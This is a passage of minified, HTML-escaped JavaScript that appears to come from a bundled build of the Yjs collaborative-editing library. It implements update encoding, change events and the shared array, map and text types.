d=l.curr,u=d.id.client,h=s.get(u)||0;if(l.curr.constructor===P){l.next();continue}if(d.id.clock+d.length&gt;h)for(Ot(o,d,bt(h-d.id.clock,0)),l.next();l.curr&amp;&amp;l.curr.id.client===u;)Ot(o,l.curr,0),l.next();else for(;l.curr&amp;&amp;l.curr.id.client===u&amp;&amp;l.curr.id.clock+l.curr.length&lt;=h;)l.next()}os(o);let a=kt(c);return gt(i,a),i.toUint8Array()},da=(n,t)=&gt;is(n,t,X,wt),co=n=&gt;{n.written&gt;0&amp;&amp;(n.clientStructs.push({written:n.written,restEncoder:Y(n.encoder.restEncoder)}),n.encoder.restEncoder=ot(),n.written=0)},Ot=(n,t,e)=&gt;{n.written&gt;0&amp;&amp;n.currClient!==t.id.client&amp;&amp;co(n),n.written===0&amp;&amp;(n.currClient=t.id.client,n.encoder.writeClient(t.id.client),S(n.encoder.restEncoder,t.id.clock+e)),t.write(n.encoder,e),n.written++},os=n=&gt;{co(n);let t=n.encoder.restEncoder;S(t,n.clientStructs.length);for(let e=0;e&lt;n.clientStructs.length;e++){let r=n.clientStructs[e];S(t,r.written),Ce(t,r.restEncoder)}},Kn=(n,t,e,r)=&gt;{let s=new e(O(n)),i=new yt(s,!1),o=new r,c=new ln(o);for(let a=i.curr;a!==null;a=i.next())Ot(c,t(a),0);os(c);let l=kt(s);return gt(o,l),o.toUint8Array()},lo=({formatting:n=!0,subdocs:t=!0,yxml:e=!0}={})=&gt;{let r=0,s=U(),i=U(),o=U(),c=U();return c.set(null,null),l=&gt;{switch(l.constructor){case G:case P:return l;case C:{let a=l,d=a.content;switch(d.constructor){case Me:break;case nt:{if(e){let u=d.type;u instanceof oe&amp;&amp;(u.nodeName=N(i,u.nodeName,()=&gt;&quot;node-&quot;+r)),u instanceof hn&amp;&amp;(u.hookName=N(i,u.hookName,()=&gt;&quot;hook-&quot;+r))}break}case Rt:{let u=d;u.arr=u.arr.map(()=&gt;r);break}case ce:{let u=d;u.content=new Uint8Array([r]);break}case le:{let u=d;t&amp;&amp;(u.opts={},u.doc.guid=r+&quot;&quot;);break}case _t:{let u=d;u.embed={};break}case v:{let u=d;n&amp;&amp;(u.key=N(o,u.key,()=&gt;r+&quot;&quot;),u.value=N(c,u.value,()=&gt;({i:r})));break}case fn:{let u=d;u.arr=u.arr.map(()=&gt;r);break}case lt:{let u=d;u.str=qs(r%10+&quot;&quot;,u.str.length);break}default:$()}return a.parentSub&amp;&amp;(a.parentSub=N(s,a.parentSub,()=&gt;r+&quot;&quot;)),r++,l}default:$()}}},ua=(n,t)=&gt;Kn(n,lo(t),X,wt),ha=(n,t)=&gt;Kn(n,lo(t),J,Q),fa=n=&gt;Kn(n,Dr,X,Q),ao=n=&gt;Kn(n,Dr,J,wt),ji=&quot;You must not compute changes after the event-handler fired.&quot;,ne=class{constructor(t,e){this.target=t,this.currentTarget=t,this.transaction=e,this._changes=null,this._keys=null,this._delta=null,this._path=null}get path(){return this._path||(this._path=pa(this.currentTarget,this.target))}deletes(t){return ae(this.transaction.deleteSet,t.id)}get keys(){if(this._keys===null){if(this.transaction.doc._transactionCleanups.length===0)throw ut(ji);let t=new Map,e=this.target;this.transaction.changed.get(e).forEach(s=&gt;{if(s!==null){let i=e._map.get(s),o,c;if(this.adds(i)){let l=i.left;for(;l!==null&amp;&amp;this.adds(l);)l=l.left;if(this.deletes(i))if(l!==null&amp;&amp;this.deletes(l))o=&quot;delete&quot;,c=En(l.content.getContent());else return;else l!==null&amp;&amp;this.deletes(l)?(o=&quot;update&quot;,c=En(l.content.getContent())):(o=&quot;add&quot;,c=void 0)}else if(this.deletes(i))o=&quot;delete&quot;,c=En(i.content.getContent());else return;t.set(s,{action:o,oldValue:c})}}),this._keys=t}return this._keys}get delta(){return this.changes.delta}adds(t){return t.id.clock&gt;=(this.transaction.beforeState.get(t.id.client)||0)}get changes(){let t=this._changes;if(t===null){if(this.transaction.doc._transactionCleanups.length===0)throw ut(ji);let e=this.target,r=dt(),s=dt(),i=[];if(t={added:r,deleted:s,delta:i,keys:this.keys},this.transaction.changed.get(e).has(null)){let c=null,l=()=&gt;{c&amp;&amp;i.push(c)};for(let a=e._start;a!==null;a=a.right)a.deleted?this.deletes(a)&amp;&amp;!this.adds(a)&amp;&amp;((c===null||c.delete===void 0)&amp;&amp;(l(),c={delete:0}),c.delete+=a.length,s.add(a)):this.adds(a)?((c===null||c.insert===void 0)&amp;&amp;(l(),c={insert:[]}),c.insert=c.insert.concat(a.content.getContent()),r.add(a)):((c===null||c.retain===void 0)&amp;&amp;(l(),c={retain:0}),c.retain+=a.length);c!==null&amp;&amp;c.retain===void 0&amp;&amp;l()}this._changes=t}return t}},pa=(n,t)=&gt;{let e=[];for(;t._item!==null&amp;&amp;t!==n;){if(t._item.parentSub!==null)e.unshift(t._item.parentSub);else{let r=0,s=t._item.parent._start;for(;s!==t._item&amp;&amp;s!==null;)!s.deleted&amp;&amp;s.countable&amp;&amp;(r+=s.length),s=s.right;e.unshift(r)}t=t._item.parent}return e},j=()=&gt;{Rr(&quot;Invalid access: Add Yjs type to a document before reading data.&quot;)},uo=80,cs=0,Hr=class{constructor(t,e){t.marker=!0,this.p=t,this.index=e,this.timestamp=cs++}},ga=n=&gt;{n.timestamp=cs++},ho=(n,t,e)=&gt;{n.p.marker=!1,n.p=t,t.marker=!0,n.index=e,n.timestamp=cs++},ma=(n,t,e)=&gt;{if(n.length&gt;=uo){let r=n.reduce((s,i)=&gt;s.timestamp&lt;i.timestamp?s:i);return ho(r,t,e),r}else{let r=new Hr(t,e);return n.push(r),r}},qn=(n,t)=&gt;{if(n._start===null||t===0||n._searchMarker===null)return null;let e=n._searchMarker.length===0?null:n._searchMarker.reduce((i,o)=&gt;ye(t-i.index)&lt;ye(t-o.index)?i:o),r=n._start,s=0;for(e!==null&amp;&amp;(r=e.p,s=e.index,ga(e));r.right!==null&amp;&amp;s&lt;t;){if(!r.deleted&amp;&amp;r.countable){if(t&lt;s+r.length)break;s+=r.length}r=r.right}for(;r.left!==null&amp;&amp;s&gt;t;)r=r.left,!r.deleted&amp;&amp;r.countable&amp;&amp;(s-=r.length);for(;r.left!==null&amp;&amp;r.left.id.client===r.id.client&amp;&amp;r.left.id.clock+r.left.length===r.id.clock;)r=r.left,!r.deleted&amp;&amp;r.countable&amp;&amp;(s-=r.length);return e!==null&amp;&amp;ye(e.index-s)&lt;r.parent.length/uo?(ho(e,r,s),e):ma(n._searchMarker,r,s)},an=(n,t,e)=&gt;{for(let r=n.length-1;r&gt;=0;r--){let s=n[r];if(e&gt;0){let i=s.p;for(i.marker=!1;i&amp;&amp;(i.deleted||!i.countable);)i=i.left,i&amp;&amp;!i.deleted&amp;&amp;i.countable&amp;&amp;(s.index-=i.length);if(i===null||i.marker===!0){n.splice(r,1);continue}s.p=i,i.marker=!0}(t&lt;s.index||e&gt;0&amp;&amp;t===s.index)&amp;&amp;(s.index=bt(t,s.index+e))}},wa=n=&gt;{n.doc??j();let t=n._start,e=[];for(;t;)e.push(t),t=t.right;return e},Wn=(n,t,e)=&gt;{let r=n,s=t.changedParentTypes;for(;N(s,n,()=&gt;[]).push(e),n._item!==null;)n=n._item.parent;Ki(r._eH,e,t)},T=class{constructor(){this._item=null,this._map=new Map,this._start=null,this.doc=null,this._length=0,this._eH=vi(),this._dEH=vi(),this._searchMarker=null}get parent(){return this._item?this._item.parent:null}_integrate(t,e){this.doc=t,this._item=e}_copy(){throw ct()}clone(){throw ct()}_write(t){}get _first(){let t=this._start;for(;t!==null&amp;&amp;t.deleted;)t=t.right;return t}_callObserver(t,e){!t.local&amp;&amp;this._searchMarker&amp;&amp;(this._searchMarker.length=0)}observe(t){Oi(this._eH,t)}observeDeep(t){Oi(this._dEH,t)}unobserve(t){Li(this._eH,t)}unobserveDeep(t){Li(this._dEH,t)}toJSON(){}},fo=(n,t,e)=&gt;{n.doc??j(),t&lt;0&amp;&amp;(t=n._length+t),e&lt;0&amp;&amp;(e=n._length+e);let r=e-t,s=[],i=n._start;for(;i!==null&amp;&amp;r&gt;0;){if(i.countable&amp;&amp;!i.deleted){let o=i.content.getContent();if(o.length&lt;=t)t-=o.length;else{for(let c=t;c&lt;o.length&amp;&amp;r&gt;0;c++)s.push(o[c]),r--;t=0}}i=i.right}return s},po=n=&gt;{n.doc??j();let t=[],e=n._start;for(;e!==null;){if(e.countable&amp;&amp;!e.deleted){let r=e.content.getContent();for(let s=0;s&lt;r.length;s++)t.push(r[s])}e=e.right}return t},ya=(n,t)=&gt;{let e=[],r=n._start;for(;r!==null;){if(r.countable&amp;&amp;vt(r,t)){let s=r.content.getContent();for(let i=0;i&lt;s.length;i++)e.push(s[i])}r=r.right}return e},dn=(n,t)=&gt;{let e=0,r=n._start;for(n.doc??j();r!==null;){if(r.countable&amp;&amp;!r.deleted){let s=r.content.getContent();for(let i=0;i&lt;s.length;i++)t(s[i],e++,n)}r=r.right}},go=(n,t)=&gt;{let e=[];return dn(n,(r,s)=&gt;{e.push(t(r,s,n))}),e},Sa=n=&gt;{let t=n._start,e=null,r=0;return{[Symbol.iterator](){return this},next:()=&gt;{if(e===null){for(;t!==null&amp;&amp;t.deleted;)t=t.right;if(t===null)return{done:!0,value:void 0};e=t.content.getContent(),r=0,t=t.right}let s=e[r++];return e.length&lt;=r&amp;&amp;(e=null),{done:!1,value:s}}}},mo=(n,t)=&gt;{n.doc??j();let e=qn(n,t),r=n._start;for(e!==null&amp;&amp;(r=e.p,t-=e.index);r!==null;r=r.right)if(!r.deleted&amp;&amp;r.countable){if(t&lt;r.length)return r.content.getContent()[t];t-=r.length}},Pn=(n,t,e,r)=&gt;{let s=e,i=n.doc,o=i.clientID,c=i.store,l=e===null?t._start:e.right,a=[],d=()=&gt;{a.length&gt;0&amp;&amp;(s=new C(x(o,A(c,o)),s,s&amp;&amp;s.lastId,l,l&amp;&amp;l.id,t,null,new Rt(a)),s.integrate(n,0),a=[])};r.forEach(u=&gt;{if(u===null)a.push(u);else switch(u.constructor){case Number:case Object:case Boolean:case Array:case String:a.push(u);break;default:switch(d(),u.constructor){case Uint8Array:case ArrayBuffer:s=new C(x(o,A(c,o)),s,s&amp;&amp;s.lastId,l,l&amp;&amp;l.id,t,null,new ce(new Uint8Array(u))),s.integrate(n,0);break;case mt:s=new C(x(o,A(c,o)),s,s&amp;&amp;s.lastId,l,l&amp;&amp;l.id,t,null,new le(u)),s.integrate(n,0);break;default:if(u instanceof T)s=new C(x(o,A(c,o)),s,s&amp;&amp;s.lastId,l,l&amp;&amp;l.id,t,null,new nt(u)),s.integrate(n,0);else throw new Error(&quot;Unexpected content type in insert operation&quot;)}}}),d()},wo=()=&gt;ut(&quot;Length exceeded!&quot;),yo=(n,t,e,r)=&gt;{if(e&gt;t._length)throw wo();if(e===0)return t._searchMarker&amp;&amp;an(t._searchMarker,e,r.length),Pn(n,t,null,r);let s=e,i=qn(t,e),o=t._start;for(i!==null&amp;&amp;(o=i.p,e-=i.index,e===0&amp;&amp;(o=o.prev,e+=o&amp;&amp;o.countable&amp;&amp;!o.deleted?o.length:0));o!==null;o=o.right)if(!o.deleted&amp;&amp;o.countable){if(e&lt;=o.length){e&lt;o.length&amp;&amp;z(n,x(o.id.client,o.id.clock+e));break}e-=o.length}return t._searchMarker&amp;&amp;an(t._searchMarker,s,r.length),Pn(n,t,o,r)},xa=(n,t,e)=&gt;{let s=(t._searchMarker||[]).reduce((i,o)=&gt;o.index&gt;i.index?o:i,{index:0,p:t._start}).p;if(s)for(;s.right;)s=s.right;return Pn(n,t,s,e)},So=(n,t,e,r)=&gt;{if(r===0)return;let s=e,i=r,o=qn(t,e),c=t._start;for(o!==null&amp;&amp;(c=o.p,e-=o.index);c!==null&amp;&amp;e&gt;0;c=c.right)!c.deleted&amp;&amp;c.countable&amp;&amp;(e&lt;c.length&amp;&amp;z(n,x(c.id.client,c.id.clock+e)),e-=c.length);for(;r&gt;0&amp;&amp;c!==null;)c.deleted||(r&lt;c.length&amp;&amp;z(n,x(c.id.client,c.id.clock+r)),c.delete(n),r-=c.length),c=c.right;if(r&gt;0)throw wo();t._searchMarker&amp;&amp;an(t._searchMarker,s,-i+r)},jn=(n,t,e)=&gt;{let r=t._map.get(e);r!==void 0&amp;&amp;r.delete(n)},ls=(n,t,e,r)=&gt;{let s=t._map.get(e)||null,i=n.doc,o=i.clientID,c;if(r==null)c=new Rt([r]);else switch(r.constructor){case Number:case Object:case Boolean:case Array:case String:case Date:case BigInt:c=new Rt([r]);break;case Uint8Array:c=new ce(r);break;case mt:c=new le(r);break;default:if(r instanceof T)c=new nt(r);else throw new Error(&quot;Unexpected content type&quot;)}new C(x(o,A(i.store,o)),s,s&amp;&amp;s.lastId,null,null,t,e,c).integrate(n,0)},as=(n,t)=&gt;{n.doc??j();let e=n._map.get(t);return e!==void 0&amp;&amp;!e.deleted?e.content.getContent()[e.length-1]:void 0},xo=n=&gt;{let t={};return n.doc??j(),n._map.forEach((e,r)=&gt;{e.deleted||(t[r]=e.content.getContent()[e.length-1])}),t},bo=(n,t)=&gt;{n.doc??j();let e=n._map.get(t);return e!==void 0&amp;&amp;!e.deleted},ba=(n,t,e)=&gt;{let r=n._map.get(t)||null;for(;r!==null&amp;&amp;(!e.sv.has(r.id.client)||r.id.clock&gt;=(e.sv.get(r.id.client)||0));)r=r.left;return r!==null&amp;&amp;vt(r,e)?r.content.getContent()[r.length-1]:void 0},Eo=(n,t)=&gt;{let e={};return n._map.forEach((r,s)=&gt;{let i=r;for(;i!==null&amp;&amp;(!t.sv.has(i.id.client)||i.id.clock&gt;=(t.sv.get(i.id.client)||0));)i=i.left;i!==null&amp;&amp;vt(i,t)&amp;&amp;(e[s]=i.content.getContent()[i.length-1])}),e},vn=n=&gt;(n.doc??j(),Ai(n._map.entries(),t=&gt;!t[1].deleted)),Fn=class extends ne{},re=class n extends T{constructor(){super(),this._prelimContent=[],this._searchMarker=[]}static from(t){let e=new n;return e.push(t),e}_integrate(t,e){super._integrate(t,e),this.insert(0,this._prelimContent),this._prelimContent=null}_copy(){return new n}clone(){let t=new n;return t.insert(0,this.toArray().map(e=&gt;e instanceof T?e.clone():e)),t}get length(){return this.doc??j(),this._length}_callObserver(t,e){super._callObserver(t,e),Wn(this,t,new Fn(this,t))}insert(t,e){this.doc!==null?_(this.doc,r=&gt;{yo(r,this,t,e)}):this._prelimContent.splice(t,0,...e)}push(t){this.doc!==null?_(this.doc,e=&gt;{xa(e,this,t)}):this._prelimContent.push(...t)}unshift(t){this.insert(0,t)}delete(t,e=1){this.doc!==null?_(this.doc,r=&gt;{So(r,this,t,e)}):this._prelimContent.splice(t,e)}get(t){return mo(this,t)}toArray(){return po(this)}slice(t=0,e=this.length){return fo(this,t,e)}toJSON(){return this.map(t=&gt;t instanceof T?t.toJSON():t)}map(t){return go(this,t)}forEach(t){dn(this,t)}[Symbol.iterator](){return Sa(this)}_write(t){t.writeTypeRef(Ya)}},Ea=n=&gt;new re,Yn=class extends ne{constructor(t,e,r){super(t,e),this.keysChanged=r}},se=class n extends T{constructor(t){super(),this._prelimContent=null,t===void 0?this._prelimContent=new Map:this._prelimContent=new Map(t)}_integrate(t,e){super._integrate(t,e),this._prelimContent.forEach((r,s)=&gt;{this.set(s,r)}),this._prelimContent=null}_copy(){return new n}clone(){let t=new n;return this.forEach((e,r)=&gt;{t.set(r,e instanceof T?e.clone():e)}),t}_callObserver(t,e){Wn(this,t,new Yn(this,t,e))}toJSON(){this.doc??j();let t={};return this._map.forEach((e,r)=&gt;{if(!e.deleted){let s=e.content.getContent()[e.length-1];t[r]=s instanceof T?s.toJSON():s}}),t}get size(){return[...vn(this)].length}keys(){return In(vn(this),t=&gt;t[0])}values(){return In(vn(this),t=&gt;t[1].content.getContent()[t[1].length-1])}entries(){return In(vn(this),t=&gt;[t[0],t[1].content.getContent()[t[1].length-1]])}forEach(t){this.doc??j(),this._map.forEach((e,r)=&gt;{e.deleted||t(e.content.getContent()[e.length-1],r,this)})}[Symbol.iterator](){return this.entries()}delete(t){this.doc!==null?_(this.doc,e=&gt;{jn(e,this,t)}):this._prelimContent.delete(t)}set(t,e){return this.doc!==null?_(this.doc,r=&gt;{ls(r,this,t,e)}):this._prelimContent.set(t,e),e}get(t){return as(this,t)}has(t){return bo(this,t)}clear(){this.doc!==null?_(this.doc,t=&gt;{this.forEach(function(e,r,s){jn(t,s,r)})}):this._prelimContent.clear()}_write(t){t.writeTypeRef(za)}},ka=n=&gt;new se,Lt=(n,t)=&gt;n===t||typeof n==&quot;object&quot;&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;n&amp;&amp;t&amp;&amp;_r(n,t),un=class{constructor(t,e,r,s){this.left=t,this.right=e,this.index=r,this.currentAttributes=s}forward(){this.right===null&amp;&amp;$(),this.right.content.constructor===v?this.right.deleted||Re(this.currentAttributes,this.right.content):this.right.deleted||(this.index+=this.right.length),this.left=this.right,this.right=this.right.right}},Fi=(n,t,e)=&gt;{for(;t.right!==null&amp;&amp;e&gt;0;)t.right.content.constructor===v?t.right.deleted||Re(t.currentAttributes,t.right.content):t.right.deleted||(e&lt;t.right.length&amp;&amp;z(n,x(t.right.id.client,t.right.id.clock+e)),t.index+=t.right.length,e-=t.right.length),t.left=t.right,t.right=t.right.right;return t},On=(n,t,e,r)=&gt;{let s=new Map,i=r?qn(t,e):null;if(i){let o=new un(i.p.left,i.p,i.index,s);return Fi(n,o,e-i.index)}else{let o=new un(null,t._start,0,s);return Fi(n,o,e)}},ko=(n,t,e,r)=&gt;{for(;e.right!==null&amp;&amp;(e.right.deleted===!0||e.right.content.constructor===v&amp;&amp;Lt(r.get(e.right.content.key),e.right.content.value));)e.right.deleted||r.delete(e.right.content.key),e.forward();let s=n.doc,i=s.clientID;r.forEach((o,c)=&gt;{let l=e.left,a=e.right,d=new C(x(i,A(s.store,i)),l,l&amp;&amp;l.lastId,a,a&amp;&amp;a.id,t,null,new v(c,o));d.integrate(n,0),e.right=d,e.forward()})},Re=(n,t)=&gt;{let{key:e,value:r}=t;r===null?n.delete(e):n.set(e,r)},_o=(n,t)=&gt;{for(;n.right!==null;){if(!(n.right.deleted||n.right.content.constructor===v&amp;&amp;Lt(t[n.right.content.key]??null,n.right.content.value)))break;n.forward()}},Co=(n,t,e,r)=&gt;{let s=n.doc,i=s.clientID,o=new Map;for(let c in r){let l=r[c],a=e.currentAttributes.get(c)??null;if(!Lt(a,l)){o.set(c,a);let{left:d,right:u}=e;e.right=new C(x(i,A(s.store,i)),d,d&amp;&amp;d.lastId,u,u&amp;&amp;u.id,t,null,new v(c,l)),e.right.integrate(n,0),e.forward()}}return o},Vr=(n,t,e,r,s)=&gt;{e.currentAttributes.forEach((h,f)=&gt;{s[f]===void 0&amp;&amp;(s[f]=null)});let i=n.doc,o=i.clientID;_o(e,s);let c=Co(n,t,e,s),l=r.constructor===String?new lt(r):r instanceof T?new nt(r):new _t(r),{left:a,right:d,index:u}=e;t._searchMarker&amp;&amp;an(t._searchMarker,e.index,l.getLength()),d=new C(x(o,A(i.store,o)),a,a&amp;&amp;a.lastId,d,d&amp;&amp;d.id,t,null,l),d.integrate(n,0),e.right=d,e.index=u,e.forward(),ko(n,t,e,c)},Yi=(n,t,e,r,s)=&gt;{let i=n.doc,o=i.clientID;_o(e,s);let c=Co(n,t,e,s);t:for(;e.right!==null&amp;&amp;(r&gt;0||c.size&gt;0&amp;&amp;(e.right.deleted||e.right.content.constructor===v));){if(!e.right.deleted)switch(e.right.content.constructor){case v:{let{key:l,value:a}=e.right.content,d=s[l];if(d!==void 0){if(Lt(d,a))c.delete(l);else{if(r===0)break t;c.set(l,a)}e.right.delete(n)}else e.currentAttributes.set(l,a);break}default:r&lt;e.right.length&amp;&amp;z(n,x(e.right.id.client,e.right.id.clock+r)),r-=e.right.length;break}e.forward()}if(r&gt;0){let l=&quot;&quot;;for(;r&gt;0;r--)l+=`
`;e.right=new C(x(o,A(i.store,o)),e.left,e.left&amp;&amp;e.left.lastId,e.right,e.right&amp;&amp;e.right.id,t,null,new lt(l)),e.right.integrate(n,0),e.forward()}ko(n,t,e,c)},Do=(n,t,e,r,s)=&gt;{let i=t,o=U();for(;i&amp;&amp;(!i.countable||i.deleted);){if(!i.deleted&amp;&amp;i.content.constructor===v){let a=i.content;o.set(a.key,a)}i=i.right}let c=0,l=!1;for(;t!==i;){if(e===t&amp;&amp;(l=!0),!t.deleted){let a=t.content;if(a.constructor===v){let{key:d,value:u}=a,h=r.get(d)??null;(o.get(d)!==a||h===u)&amp;&amp;(t.delete(n),c++,!l&amp;&amp;(s.get(d)??null)===u&amp;&amp;h!==u&amp;&amp;(h===null?s.delete(d):s.set(d,h))),!l&amp;&amp;!t.deleted&amp;&amp;Re(s,a)}}t=t.right}return c},_a=(n,t)=&gt;{for(;t&amp;&amp;t.right&amp;&amp;(t.right.deleted||!t.right.countable);)t=t.right;let e=new Set;for(;t&amp;&amp;(t.deleted||!t.countable);){if(!t.deleted&amp;&amp;t.content.constructor===v){let r=t.content.key;e.has(r)?t.delete(n):e.add(r)}t=t.left}},Ao=n=&gt;{let t=0;return _(n.doc,e=&gt;{let r=n._start,s=n._start,i=U(),o=bn(i);for(;s;)s.deleted===!1&amp;&amp;(s.content.constructor===v?Re(o,s.content):(t+=Do(e,r,s,i,o),i=bn(o),r=s)),s=s.right}),t},Ca=n=&gt;{let t=new Set,e=n.doc;for(let[r,s]of n.afterState.entries()){let i=n.beforeState.get(r)||0;s!==i&amp;&amp;Qi(n,e.store.clients.get(r),i,s,o=&gt;{!o.deleted&amp;&amp;o.content.constructor===v&amp;&amp;o.constructor!==G&amp;&amp;t.add(o.parent)})}_(e,r=&gt;{Xt(n,n.deleteSet,s=&gt;{if(s instanceof G||!s.parent._hasFormatting||t.has(s.parent))return;let i=s.parent;s.content.constructor===v?t.add(i):_a(r,s)});for(let s of t)Ao(s)})},zi=(n,t,e)=&gt;{let r=e,s=bn(t.currentAttributes),i=t.right;for(;e&gt;0&amp;&amp;t.right!==null;){if(t.right.deleted===!1)switch(t.right.content.constructor){case nt:case _t:case lt:e&lt;t.right.length&amp;&amp;z(n,x(t.right.id.client,t.right.id.clock+e)),e-=t.right.length,t.right.delete(n);break}t.forward()}i&amp;&amp;Do(n,i,t.right,s,t.currentAttributes);let o=(t.left||t.right).parent;return o._searchMarker&amp;&amp;an(o._searchMarker,t.index,-r+e),t},zn=class extends ne{constructor(t,e,r){super(t,e),this.childListChanged=!1,this.keysChanged=new Set,r.forEach(s=&gt;{s===null?this.childListChanged=!0:this.keysChanged.add(s)})}get changes(){if(this._changes===null){let t={keys:this.keys,delta:this.delta,added:new Set,deleted:new Set};this._changes=t}return this._changes}get delta(){if(this._delta===null){let t=this.target.doc,e=[];_(t,r=&gt;{let s=new Map,i=new Map,o=this.target._start,c=null,l={},a=&quot;&quot;,d=0,u=0,h=()=&gt;{if(c!==null){let f=null;switch(c){case&quot;delete&quot;:u&gt;0&amp;&amp;(f={delete:u}),u=0;break;case&quot;insert&quot;:(typeof a==&quot;object&quot;||a.length&gt;0)&amp;&amp;(f={insert:a},s.size&gt;0&amp;&amp;(f.attributes={},s.forEach((p,g)=&gt;{p!==null&amp;&amp;(f.attributes[g]=p)}))),a=&quot;&quot;;break;case&quot;retain&quot;:d&gt;0&amp;&amp;(f={retain:d},hi(l)||(f.attributes=ai({},l))),d=0;break}f&amp;&amp;e.push(f),c=null}};for(;o!==null;){switch(o.content.constructor){case nt:case _t:this.adds(o)?this.deletes(o)||(h(),c=&quot;insert&quot;,a=o.content.getContent()[0],h()):this.deletes(o)?(c!==&quot;delete&quot;&amp;&amp;(h(),c=&quot;delete&quot;),u+=1):o.deleted||(c!==&quot;retain&quot;&amp;&amp;(h(),c=&quot;retain&quot;),d+=1);break;case lt:this.adds(o)?this.deletes(o)||(c!==&quot;insert&quot;&amp;&amp;(h(),c=&quot;insert&quot;),a+=o.content.str):this.deletes(o)?(c!==&quot;delete&quot;&amp;&amp;(h(),c=&quot;delete&quot;),u+=o.length):o.deleted||(c!==&quot;retain&quot;&amp;&amp;(h(),c=&quot;retain&quot;),d+=o.length);break;case v:{let{key:f,value:p}=o.content;if(this.adds(o)){if(!this.deletes(o)){let g=s.get(f)??null;Lt(g,p)?p!==null&amp;&amp;o.delete(r):(c===&quot;retain&quot;&amp;&amp;h(),Lt(p,i.get(f)??null)?delete l[f]:l[f]=p)}}else if(this.deletes(o)){i.set(f,p);let g=s.get(f)??null;Lt(g,p)||(c===&quot;retain&quot;&amp;&amp;h(),l[f]=g)}else if(!o.deleted){i.set(f,p);let g=l[f];g!==void 0&amp;&amp;(Lt(g,p)?g!==null&amp;&amp;o.delete(r):(c===&quot;retain&quot;&amp;&amp;h(),p===null?delete l[f]:l[f]=p))}o.deleted||(c===&quot;insert&quot;&amp;&amp;h(),Re(s,o.content));break}}o=o.right}for(h();e.length&gt;0;){let f=e[e.length-1];if(f.retain!==void 0&amp;&amp;f.attributes===void 0)e.pop();else break}}),this._delta=e}return this._delta}},Le=class n extends T{constructor(t){super(),this._pending=t!==void 0?[()=&gt;this.insert(0,t)]:[],this._searchMarker=[],this._hasFormatting=!1}get length(){return this.doc??j(),this._length}_integrate(t,e){super._integrate(t,e);try{this._pending.forEach(r=&gt;r())}catch(r){console.error(r)}this._pending=null}_copy(){return new n}clone(){let t=new n;return t.applyDelta(this.toDelta()),t}_callObserver(t,e){super._callObserver(t,e);let r=new zn(this,t,e);Wn(this,t,r),!t.local&amp;&amp;this._hasFormatting&amp;&amp;(t._needFormattingCleanup=!0)}toString(){this.doc??j();let t=&quot;&quot;,e=this._start;for(;e!==null;)!e.deleted&amp;&amp;e.countable&amp;&amp;e.content.constructor===lt&amp;&amp;(t+=e.content.str),e=e.right;return t}toJSON(){return this.toString()}applyDelta(t,{sanitize:e=!0}={}){this.doc!==null?_(this.doc,r=&gt;{let s=new un(null,this._start,0,new Map);for(let i=0;i&lt;t.length;i++){let o=t[i];if(o.insert!==void 0){let c=!e&amp;&amp;typeof o.insert==&quot;string&quot;&amp;&amp;i===t.length-1&amp;&amp;s.right===null&amp;&amp;o.insert.slice(-1)===`
`?o.insert.slice(0,-1):o.insert;(typeof c!=&quot;string&quot;||c.length&gt;0)&amp;&amp;Vr(r,this,s,c,o.attributes||{})}else o.retain!==void 0?Yi(r,this,s,o.retain,o.attributes||{}):o.delete!==void 0&amp;&amp;zi(r,s,o.delete)}}):this._pending.push(()=&gt;this.applyDelta(t))}toDelta(t,e,r){this.doc??j();let s=[],i=new Map,o=this.doc,c=&quot;&quot;,l=this._start;function a(){if(c.length&gt;0){let u={},h=!1;i.forEach((p,g)=&gt;{h=!0,u[g]=p});let f={insert:c};h&amp;&amp;(f.attributes=u),s.push(f),c=&quot;&quot;}}let d=()=&gt;{for(;l!==null;){if(vt(l,t)||e!==void 0&amp;&amp;vt(l,e))switch(l.content.constructor){case lt:{let u=i.get(&quot;ychange&quot;);t!==void 0&amp;&amp;!vt(l,t)?(u===void 0||u.user!==l.id.client||u.type!==&quot;removed&quot;)&amp;&amp;(a(),i.set(&quot;ychange&quot;,r?r(&quot;removed&quot;,l.id):{type:&quot;removed&quot;})):e!==void 0&amp;&amp;!vt(l,e)?(u===void 0||u.user!==l.id.client||u.type!==&quot;added&quot;)&amp;&amp;(a(),i.set(&quot;ychange&quot;,r?r(&quot;added&quot;,l.id):{type:&quot;added&quot;})):u!==void 0&amp;&amp;(a(),i.delete(&quot;ychange&quot;)),c+=l.content.str;break}case nt:case _t:{a();let u={insert:l.content.getContent()[0]};if(i.size&gt;0){let h={};u.attributes=h,i.forEach((f,p)=&gt;{h[p]=f})}s.push(u);break}case v:vt(l,t)&amp;&amp;(a(),Re(i,l.content));break}l=l.right}a()};return t||e?_(o,u=&gt;{t&amp;&amp;Fr(u,t),e&amp;&amp;Fr(u,e),d()},&quot;cleanup&quot;):d(),s}insert(t,e,r){if(e.length&lt;=0)return;let s=this.doc;s!==null?_(s,i=&gt;{let o=On(i,this,t,!r);r||(r={},o.currentAttributes.forEach((c,l)=&gt;{r[l]=c})),Vr(i,this,o,e,r)}):this._pending.push(()=&gt;this.insert(t,e,r))}insertEmbed(t,e,r){let s=this.doc;s!==null?_(s,i=&gt;{let o=On(i,this,t,!r);Vr(i,this,o,e,r||{})}):this._pending.push(()=&gt;this.insertEmbed(t,e,r||{}))}delete(t,e){if(e===0)return;let r=this.doc;r!==null?_(r,s=&gt;{zi(s,On(s,this,t,!0),e)}):this._pending.push(()=&gt;this.delete(t,e))}format(t,e,r){if(e===0)return;let s=this.doc;s!==null?_(s,i=&gt;{let o=On(i,this,t,!1);o.right!==null&amp;&amp;Yi(i,this,o,e,r)}):this._pending.push(()=&gt;this.format(t,e,r))}removeAttribute(t){this.doc!==null?_(this.doc,e=&gt;{jn(e,this,t)}):this._pending.push(()=&gt;this.removeAttribute(t))}setAttribute(t,e){this.doc!==null?_(this.doc,r=&gt;{ls(r,this,t,e)}):this._pending.push(()=&gt;this.setAttribute(t,e))}getAttribute(t){return as(this,t)}getAttributes(){return xo(this)}_write(t){t.writeTypeRef(Ga)}},Da=n=&gt;new Le,nn=class{constructor(t,e=()=&gt;!0){this._filter=e,this._root=t,this._currentNode=t._start,this._firstCall=!0,t.doc??j()}[Symbol.iterator](){return this}next(){let t=this._currentNode,e=t&amp;&amp;t.content&amp;&amp;t.content.type;if(t!==null&amp;&amp;(!this._firstCall||t.deleted||!this._filter(e)))do if(e=t.content.type,!t.deleted&amp;&amp;(e.constructor===oe||e.constructor===ie)&amp;&amp;e._start!==null)t=e._start;else for(;t!==null;){let r=t.next;if(r!==null){t=r;break}else 